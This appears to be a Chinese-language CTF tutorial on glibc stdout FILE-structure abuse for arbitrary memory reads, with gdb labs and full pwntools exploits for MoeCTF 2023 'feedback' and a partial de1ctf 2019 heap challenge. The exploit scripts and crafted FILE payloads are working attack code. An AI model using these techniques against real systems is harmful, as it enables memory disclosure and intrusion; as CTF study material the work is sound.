基础知识

bss段与stdin、out、err

  • 在有些情况,程序中的bss段其实保存着stdinstdoutstderr这三个IO结构体的地址。
  • 大概率应该是因为这三句初始化输入输出的语句,需要用到stdinstdoutstderr
1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

image-20250721200427978

缓冲区

缓冲区是一块用于临时存储数据的区域,通常用于平衡数据生产者和数据消费者之间速度的差异。例如当我们调用printf()fgets这种比较上层分装的IO函数。它们就会先将数据读(写)入缓冲区(这一部分是由stdin(stdout)管理),然后再从中取出数据,放进对应的地址中。当满足一定条件时就会触发缓冲区刷新也就会将在缓冲区的数据读(写)入对应的目标地址中去。这样就完成了一次与设备与内存之间的(读)写。

缓冲区刷新可以在下面这几种情况下发生:

  • 缓冲区满:当缓冲区写满的时候,系统会自动将缓冲区中的数据写入到实际的输出设备,并清空缓冲区,接着等待之后的数据进入缓冲区
  • 手动刷新:C语言程序提供一个函数fflush(FILE *stream)函数来手动刷新缓冲区。
  • 正常退出:当程序正常退出的时候(即调用glibc中的exit(),而不是直接syscall exit)此时所有打开的文件都会自动刷新缓冲区
  • 行缓冲模式:对于行缓冲模式(通常是标准输出stdout在交互模式下默认的模式),在输出新行字符\n时会自动刷新缓冲区。

输入输出缓冲模式

  • 对于上面的一个setvbuf()函数到底是什么东西呢?其实该函数是用来设置输入、输出缓冲模式的。缓冲模式分为以下三种:
    • 无缓冲模式:调用上层IO函数时会,会直接写入或读入到目标位置,不会数据不会呆在缓冲区。
    • 行缓冲模式:输入输出的数据一开始会被放入到缓冲区中,但是当缓冲区中有\n存进来就会立即刷新缓冲区,将数据写入或读入到目标地址。
    • 全缓冲模式:只有当缓冲区数据存储满后,才会进行刷新缓冲区的操作。或者当退出程序的时候libc_start_call_main会调用libc中的exit函数,这样它就会刷新缓冲区。
  • 对与这三种模式,在stdio.h头文件中有这几个函数可以用于设置的,可以在Linux中使用man函数查看,其中setvbuf()这个函数比较全面,对于全缓冲还可以设置缓冲区的地址:
    • void setbuf(FILE *stream, char *buf)
    • void setbuffer(FILE *stream, char *buf, size_t size)
    • void setlinebuf(FILE *stream)
    • int setvbuf(FILE *stream, char *buf, int mode, size_t size)

实验

  • 对于利用stdout实现地址任意读,主要关注IO_FILE的这几个成员,对于实验中的几个lab,将分别设置stdout无缓冲、行缓冲、全缓冲模式,观察这三种模式下调用上层的输入输出函数如下的几个成员数据的变化。最后再做一个使用stdout实现任意地址读的这些数据应该如何构造的一个总结。
1
2
3
4
5
6
7
8
9
int _flags;                // 文件状态标志(高位是 _IO_MAGIC,其余是标志位)
char* _IO_read_ptr; // 读缓冲区当前读取位置
char* _IO_read_end; // 读缓冲区结束位置
char* _IO_read_base; // 读缓冲区基地址
char* _IO_write_base; // 写缓冲区基地址
char* _IO_write_ptr; // 写缓冲区当前写入位置
char* _IO_write_end; // 写缓冲区结束位置
char* _IO_buf_base; // 缓冲区基地址
char* _IO_buf_end; // 缓冲区结束位置

lab1_无缓冲模式

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
setvbuf(stdout,0,_IONBF,0);
printf("Hello world!");
return 0;
}
// gcc -g -o lab1 lab1.c
  • 编译完之后使用gdb进行调试,在还没有调用setvbuf之前,stdout的结构体成员中的数据如下:
1
2
//其中 _flags = 0xFBAD2084
//剩下的__IO_read_ptr等都是为0

image-20250721225712382

  • 当我们调用setvbuf设置成无缓冲模式后,stdoutIO_FILE结构体如下:
1
2
// 发现_flags = 0xFBAD2087 该值被改变了
// 剩下的_IO_read_ptr一直到_IO_buf_end这边都是0x7f9603ebc6a3 <_IO_2_1_stdout_+131>

image-20250721225906943

  • 当调用printf这个上层函数会做什么操作呢?接下来看看
1
2
// _flags的值又被改变了,变成了0xFBAD2887
// 剩下的成员都没改变

image-20250721230308127

lab2_行缓冲模式

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
setvbuf(stdout,0,_IOLBF,0);
printf("Hello world_printf!");
puts("Hello world_puts!");
return 0;
}// gcc -g -o lab2 lab2.c
  • 接下来再看看行缓冲模式stdoutIO_FILE情况
1
2
//其中 _flags = 0xFBAD2084
//剩下的__IO_read_ptr等都是为0

image-20250721230738293

  • 当使用setvbuf()将其设置为行缓冲模式,其IO_FILE就会出现如下情形
1
2
//其中 _flags = 0xFBAD2284
// _IO_read_ptr到_IO_buf_end这些数据都是0x0

image-20250721230909353

  • 之后先调用一次printf函数,发现调用printf函数时程序并不会马上输出printf函数所要打印的值

image-20250721231058930

  • 但是stdoutIO_FILE里面的值却有变化了,并且程序还调用了malloc申请了一个chunk当做缓冲区
1
2
3
4
5
6
7
8
9
// _flags = 0xFBAD2A84
// _IO_read_ptr = 0xbc9010 堆块的起始使用位置
// _IO_read_end = 0xbc9010 堆块的起始使用位置
// _IO_read_base = 0xbc9010 堆块的起始使用位置 ,这时我们发现read的三个值都是堆块的起始位置即缓冲区的起始位置
// _IO_write_base = 0xbc9010 // 堆块的起始位置
// _IO_write_ptr = 0xbc9023 // 其实就是printf!这个!的后面一个地址
// _IO_write_end = 0xbc9010 // write结束位置(这里为堆块起始位置,应该是开了行缓冲的缘故)
// _IO_buf_base = 0xbc9010 //缓冲区起始位置
// _IO_buf_end = 0xbc9410 //缓冲区结束为止

image-20250721231212716

image-20250721231227127

  • 现在调用一下puts函数,看看会出现什么结果,调用结束后发现会将之前printf的输出内容也输出出来,这其实就是遇到\n缓冲区刷新了。

image-20250721231958096

  • 现在查看一下stdoutIO_FILE的值
1
2
// _flags = 0xFBAD2A84
// _IO_read_ptr到 _IO_buf_base都变成了0xbc9010

image-20250721232144528

lab3_全缓冲模式

1
2
3
4
5
6
7
#include<stdio.h>
int main()
{
setvbuf(stdout,0,_IOFBF,0);
printf("Hello world!");
return 0;
}// gcc -g -o lab3 lab3.c
  • 在调用setvbuf之前stdout结构体如下:
1
2
//其中 _flags = 0xFBAD2084
//剩下的__IO_read_ptr等都是为0

image-20250723135400982

  • 在调用setvbufstdout设置为全缓冲后,stdout的结构体如下:
1
2
3
4
//其中 _flags = 0xFBAD2084
// _IO_read_ptr到_IO_write_end都为0
// 而_IO_buf_base和_IO_buf_end为 0x94c010
// 而0x94c010是调用setvbuf时,该函数调用malloc申请堆块的起始地址

image-20250723135534116

  • 当我们调用printf函数进行输出时会发现没有内容输出,再看stdout这个结构体,会发现_IO_read_ptr到_IO_write_base的值已经改变

image-20250723135909635

image-20250723135930332

lab4_任意地址读

  • 在做该实验之前,再了解一下缓冲区的宏定义,首先需要明确一点,要将一些东西附带输出出来,修改_flag位时就必须使用如下几个宏定义:
    • #define _IO_MAGIC 0xFBAD0000
    • #define _IO_CURRENTLY_PUTTING 0x800
    • #define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式(在文件末尾追加内容) */
    • 当然其实也可以像lab2lab3那样修改缓冲模式,但是修改_flag的值更一般是0xFBAD1800(通过比较多的实验后,得出使用0xFBAD1800这个值作为_flag的值会更好会更方便,有的时候只需要改2处或者3处即可。)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000           /* Magic number 文件结构体的魔数,用于标识文件结构体的有效性 */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio 模拟旧的标准输入输出库(stdio)行为的魔数 */
#define _IO_MAGIC_MASK 0xFFFF0000 /* Magic mask 魔数掩码,用于从 _flags 变量中提取魔数部分 */
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. 用户拥有缓冲区,不在关闭时删除缓冲区 */
#define _IO_UNBUFFERED 2 /* Unbuffered 无缓冲模式,直接进行I/O操作,不使用缓冲区 */
#define _IO_NO_READS 4 /* Reading not allowed 不允许读取操作 */
#define _IO_NO_WRITES 8 /* Writing not allowed 不允许写入操作 */
#define _IO_EOF_SEEN 0x10 /* EOF seen 已经到达文件结尾(EOF) */
#define _IO_ERR_SEEN 0x20 /* Error seen 已经发生错误 */
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. 不关闭文件描述符 _fileno,在清理时不调用 close 函数 */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all. 链接到一个链表(使用 _chain 指针),用于 streambuf::_list_all */
#define _IO_IN_BACKUP 0x100 /* In backup 处于备份模式 */
#define _IO_LINE_BUF 0x200 /* Line buffered 行缓冲模式,在输出新行时刷新缓冲区 */
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logically tied. 在输出和输入指针逻辑上绑定时设置 */
#define _IO_CURRENTLY_PUTTING 0x800 /* Currently putting 当前正在执行 put 操作 */
#define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式(在文件末尾追加内容) */
#define _IO_IS_FILEBUF 0x2000 /* Is file buffer 是一个文件缓冲区 */
#define _IO_BAD_SEEN 0x4000 /* Bad seen 遇到错误(bad flag set) */
#define _IO_USER_LOCK 0x8000 /* User lock 用户锁定,防止其他线程访问 */
  • 理解了无缓冲行缓冲全缓冲模式下stdout结构体成员值的一些变化后,我们是否能修改stdout结构体成员里面的值,使得在调用上层的输出函数时,能将一些libc地址等给顺带打印出来呢?接下来就看看下面的实验示例。
  • lab4主要介绍的是无缓冲模式下如何修改stdout结构体的值(一般题目都是无缓冲模式,其他模式比较少见)首先是在不修改_flag值下修改其他相关成员,修改后其实就会再程序结束调用exit()后将内容都打印出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
unsigned long long int * got_adr = 0x601018; // printf_got表的地址
setvbuf(stdout,0,_IONBF,0);
printf("%d",1); // 先调用一次printf使得printf_got存放其真实地址,如果是开了Full RELRO就不用了
printf("\n%p",*got_adr);
unsigned long long int addr = *got_adr + 0x374140;
int fd = open("./flag1",0,0);
read(fd,addr,0x12);
unsigned long long int *ptr = stdout;
ptr[1] = addr;// _IO_read_ptr
ptr[2] = addr;// _IO_read_end
ptr[3] = addr;// _IO_read_base
ptr[4] = addr;// _IO_write_base
ptr[5] = addr+0x12;// _IO_write_ptr
ptr[6] = addr+0x20;// _IO_write_end
ptr[7] = addr;// _IO_buf_base
ptr[8] = addr+0x20;// _IO_buf_end
printf("Hello world");
return 0;
}

接下来调试一下,在执行printf("Hello world");的时候stdout已经被修改成了这样

image-20250723170028529

  • 调用完printf("Hello world");后发现要打印的字符串内容并没有输出

image-20250723170118863

  • 当调用exit退出的时候才会输出

image-20250723170203196

  • 接下来如果我们修改_flag0xFBDA1800呢,接下来查看如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
puts("1");
unsigned long long int * got_adr = 0x601020; // printf_got表的地址
setvbuf(stdout,0,_IONBF,0);
printf("%d",1); // 先调用一次printf使得printf_got存放其真实地址,如果是开了Full RELRO就不用了
printf("\n%p",*got_adr);
unsigned long long int addr = *got_adr + 0x374140;
int fd = open("./flag1",0,0);
read(fd,addr,0x12);
unsigned long long int *ptr = stdout;
ptr[0] = 0xFBAD1800;
// ptr[1] = 0;// _IO_read_ptr
// ptr[2] = 0;// _IO_read_end
// ptr[3] = 0;// _IO_read_base
ptr[4] = addr;// _IO_write_base
ptr[5] = addr+0x12;// _IO_write_ptr
ptr[6] = addr;// _IO_write_end
// ptr[7] = 0;// _IO_buf_base
// ptr[8] = 0;// _IO_buf_end
puts("Hello world");
return 0;
}
  • 编译运行一下发现是可以输出出来内容的:

image-20250723170351783

  • 接下来调试看看,在调用puts("hello world")之前已经将stdout变成了这样,其实只要修改_IO_write_ptr、base、end即可

image-20250723170519685

  • 调用执行puts("Hello world");这句后马上就能将flag输出出来,如果puts换成printf其实也是可以的。
  • 还有_IO_read相关指针其实设置为0也是可以的,_IO_buf相关指针设置为0也是能输出的

image-20250723170608003

题目1_MoeCTF_2023 feedback(改)

  • 这题给了源码,但是libc版本是2.31的,所以我稍微修改了一下源码,在glibc2.23的环境下进行编译。改编后的题目会比原题简单,主要是为了理解stdout如何实现任意地址写。
  • 改编后的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
char* feedback_list[4];

//初始化缓冲区
void init()
{
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
}

//读取flag到libc
void read_flag()
{
int fd = open("./flag", 0, 0);
char *p;
if(fd == -1)
{
puts("open flag error!");
exit(0);
}
malloc(0x1000); // 改动部分
char* flag = malloc(0x1000); // 改动部分
if(!flag)
{
puts("malloc error!");
exit(0);
}

read(fd, flag, 0x50);
close(fd);
printf("a gift: %p\n",flag);
}

//读取数字
int read_num()
{
char str[0x10];
read(0, str, 0xf);
return atoi(str);
}

//读取字符串
void read_str(char* str)
{
int i;
char ch;
char buf[0x48];
read(0, str, 0x48);
}

//打印出你的反馈信息
void print_feedback()
{
puts("Your feedback is: ");
for(int i = 1; i < 4; i++)
printf("%d. %s\n", i, feedback_list[i]);
}

void vuln()
{
int i, index;

//打印提示信息
puts("Can you give me your feedback?");
puts("There are some questions.");
puts("1. What do you think of the quality of the challenge this time?");
puts("2. Give me some suggestions.");
puts("3. Please give me your ID.");

//初始化反馈列表
feedback_list[0] = 0;
for(i = 1; i < 4; i++)
feedback_list[i] = malloc(0x50);

//输入反馈内容
for(i = 0; i < 3; i++)
{
puts("Which list do you want to write?");
index = read_num();
if(index > 3)
{
puts("No such list.");
continue;
}

puts("Then you can input your feedback.");
read_str(feedback_list[index]);
print_feedback();
}
_exit(0);
}

int main()
{
init();
read_flag();
vuln();
return 0;
}

题目1_分析1

  • 先查看一下保护机制

image-20250721185641480

  • 直接使用IDA pro逆向这个程序。main函数调用了这三个函数

image-20250723171604846

  • init其实就是初始化输入输出

image-20250723171645682

  • read_flag这个函数
    • 打开了flag文件,并且申请了两个堆块
    • flag文件的内容输入到其中一个堆块中
    • 将堆块的地址告诉我们

image-20250723173015944

  • vuln()函数如下:
    • puts输出没什么作用的菜单
    • 然后申请三个堆块并将三个堆块的地址放入到feedback_list
    • 之后让用户选择一个堆块索引,并且向堆块索引中向指定堆地址写入用户想要的内容,注意用户输入的时候可以输入一个负值,导致数组越界

image-20250723171940192

  • 在每次read_str后程序还会将3个堆块中的数据全部打印出来

image-20250723172239485

  • 接下来再看看.bss段这边,其实我们会发现feedback_list上面一点其实就存放着stdout的地址,此时我们可以使用数组越界来对stdout这个FILE结构体进行修改,使得print_feedback()会将flag顺带打印出来

image-20250723172304876

题目1_分析2

  • 首先我们先将gift接收一下和feedback_list到stdout的偏移计算一下
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "neww"]
p = process('./feedback2')
#gdb.attach(p)
p.recvuntil('a gift: ')
heap_addr = p.recvline()[:-1].decode()
log.success("gitf: "+heap_addr)
heap_addr = int(heap_addr,16)
# offset_feedback_stdout:-8
flag = 0xFBAD1800
p.sendlineafter(b'Which list do you want to write?\n',b'-8')
  • 现在先来确定一下flag的位置,其实flag的起始地址就是gift发送过来的地址

image-20250723173046078

  • 那么我们其实可以设置_IO_write_base = buf,而_IO_write_ptr = buf+len(flag)至少要设置到这么多,之后_IO_write_end = buf + 0x50,注意一般输出逻辑是将从base输出到ptr,而不是从base输出到end。
  • 并且需要满足base <= ptr <=end 否则输出的时候会有很多问题。所以接下来进行如下stdout修改
1
2
3
4
5
6
7
8
9
10
payload = p64(flag)     # _flag 
payload+= p64(0) # _IO_read_ptr
payload+= p64(0) # _IO_read_end
payload+= p64(0) # _IO_read_base
payload+= p64(heap_addr) # _IO_write_base
payload+= p64(heap_addr+0x30) # _IO_write_ptr
payload+= p64(heap_addr+0x50) # _IO_write_end
gdb.attach(p)
p.sendline(payload)
p.interactive()

image-20250723173911192

  • 修改后,在调用puts("Which list do you want to write?");的是就会将flag打印出来

image-20250723174116603

题目1_exp

  • 最终的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "neww"]
p = process('./feedback2')
#gdb.attach(p)
p.recvuntil('a gift: ')
heap_addr = p.recvline()[:-1].decode()
log.success("gitf: "+heap_addr)
heap_addr = int(heap_addr,16)
# offset_feedback_stdout:-8
flag = 0xFBAD1800 # _flag
p.sendlineafter(b'Which list do you want to write?\n',b'-8')
payload = p64(flag) # _flag
payload+= p64(0) # _IO_read_ptr
payload+= p64(0) # _IO_read_end
payload+= p64(0) # _IO_read_base
payload+= p64(heap_addr) # _IO_write_base
payload+= p64(heap_addr+0x30) # _IO_write_ptr
payload+= p64(heap_addr+0x50) # _IO_write_end
gdb.attach(p)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

题目2_MoeCTF_2023 feedback(原)

  • 接下来直接使用Docker文件,在glibc2.31分析一下原题。与修改的题相比,原题还需要先泄露一下libc的地址。

题目2_分析1

  • 原题目的程序逻辑与题目1的程序逻辑差不多,主要就是read_flag这个地方,这个地方并不是将flag放到malloc申请的堆块中,而是放到libc中的某个位置,其他的都没什么变化

image-20250723220025115

题目2_分析2

  • 接下来就调试一下这个程序,调试前先查看一下题目附件看看程序保护机制如何,发现是保护全开的。

image-20250723224643587

  • 保护全开就导致了没有办法知道程序的基地址,而现在我们又不知道libc地址,所以一开始不知道libc的地址应该如何操作呢,接下来就动态调试一下。

image-20250723224733193

  • 在调试的过程中,其实可以发现_IO_write_base等一些列IO结构体成员其值其实为0x7f50e8beb723 <_IO_2_1_stdout_+131>
  • 并且write的顺序其实是_IO_write_base`_IO_write_ptr`_IO_write_end这样的一个顺序,所以溢出修改的时候其实也是按照这个修改顺序。
  • 这样一来的话其实很好操作,溢出只_IO_write_base的最末尾一个字节,由于_IO_write_ptr指向的是_IO_2_1_stdout_+131,那么其实输出的时候就会将0x7fxxxxxx000x7fxxxxxx723之间的数据输出

image-20250723224927792

  • 这样一来其实就能利用off-by漏洞导致libc的地址泄露,记下来先进行泄露,泄露的其实是这样的

image-20250723225357633

  • 但是在调试的时候会发现,泄露的一个0x7fxxx的地址其实是stdin的地址

image-20250723225551180

image-20250723225641201

  • 这下就成功接收到了stdin的地址

image-20250723230154124

  • 这样其实就能确定libc的基地址,从而确定puts函数的地址。现在puts的地址已经有了直接就可以计算得到flag的地址
1
2
3
4
5
6
libc_base = stdin_addr + 3600 - libc.symbols['stdin'] # 注意libc.symbols['stdin']并不是stdin结构体实例的地址还需要计算一下偏移
puts_addr = libc_base + libc.symbols['puts']
log.info("stdin_offset:"+hex(libc.symbols['stdin']))
log.info("libc_base:"+hex(libc_base))
log.info("puts_addr:"+hex(puts_addr))
p.interactive()
  • 得到flag的地址其实就可以继续修改stdout的结构体。实际上flag的真实地址与程序read的地址会有点偏差

image-20250723231520620

image-20250723231529879

  • 最后泄露出flag

image-20250723231813579

  • 打远程看看,打远程由于偏移的原因需要稍微的爆破才可以

image-20250723233156925

题目2_exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
#p = process('./feedback')
context.log_level = 'debug'
for i in range(100):
p = remote('ip',9005)
libc = ELF("./libc.so.6")
p.sendlineafter(b'Which list do you want to write?\n',b'-8')
pause()
flag = 0xfbad1800
payload = p64(flag)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p8(0x00)
p.sendlineafter(b'Then you can input your feedback.',payload)
pause()
try:
stdin_addr = p.recvuntil(b'\x7f')[-6:]
except:
p.close()
continue
log.success("stdin_addr:" + stdin_addr.hex())
stdin_addr = u64(stdin_addr.ljust(8,b'\x00'))
log.success("stdin_addr:" + hex(stdin_addr))
#gdb.attach(p)
libc_base = stdin_addr + 3600 - libc.symbols['stdin'] # 注意libc.symbols['stdin']并不是stdin结构体实例的地址还需要计算一下偏移
puts_addr = libc_base + libc.symbols['puts']
flag_addr = puts_addr + 1495776 #程序给的0x2DA5C,但是实际上并不是0x2da5c
log.info("stdin_offset:"+hex(libc.symbols['stdin']))
log.info("libc_base:"+hex(libc_base))
log.info("puts_addr:"+hex(puts_addr))
log.info("flag_addr:"+hex(flag_addr))
payload = p64(flag)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(flag_addr)
payload += p64(flag_addr+0x60)
payload += p64(flag_addr+0xa0)
pause()
p.sendline(b'-8')
pause()
p.sendline(payload)
p.interactive() # 如果能到这一步,要多按几个回车输入几个换行符才会输出flag

题目3_de1ctf_2019_weapon

  • 该题在buuctfBUUCTF在线评测,可以去buu上打远程,这题就是与堆题结合了。

题目3_分析1

  • 先查看一下保护机制,发现保护全开

image-20250731220222648

  • 然后再查看一下反编译的程序main函数如下,经典的堆菜单题目。

image-20250731220246169

  • 恢复结构题和修改变量和函数名称后add()函数如下:
    • 输入要申请的堆块大小和存储堆块地址和大小的索引
    • 然后往堆块中输入内容
    • 注意:这里有机会出现负索引

image-20250731222132797

  • 再来看看del()函数
    • 其实就是输入一个索引,释放索引中的堆块
    • 但是这里释放后并没有将堆块的地址设置为0,所以存在UAF漏洞

image-20250731222302585

  • 在查看一个rename相关功能:
    • 输入一个堆块索引,向堆块地址中写入内容
    • 但是这里注意该索引其实可以是负索引

image-20250731222513535

题目3_分析2

  • 这题有一个与平时堆题比较不一样的地方就是没有show功能,所以泄露地址其实就没那么容易了。但是由于存在负索引,这就使得在调用rename()函数的时候可以修改到stdout结构体,这样就能泄露libc的地址了。

  • 接下来先写一下程序的交互逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'
p = process("./de1ctf_2019_weapon")
def add(size,index,context):
p.sendlineafter(b'choice >> \n',b'1')
p.sendlineafter(b'size of weapon:',str(size).encode())
p.sendlineafter(b'input index:',str(index).encode())
p.sendlineafter(b'input your name:\n',context)
def delete(index):
p.sendlineafter(b'choice >> \n',b'2')
p.sendlineafter(b'input idx :',str(index).encode())

def rename(index,context):
p.sendlineafter(b'choice >> \n',b'3')
p.sendlineafter(b'input idx:',str(index).encode())
p.sendlineafter(b'new content:\n',context)
p.interactive()

题目3_exp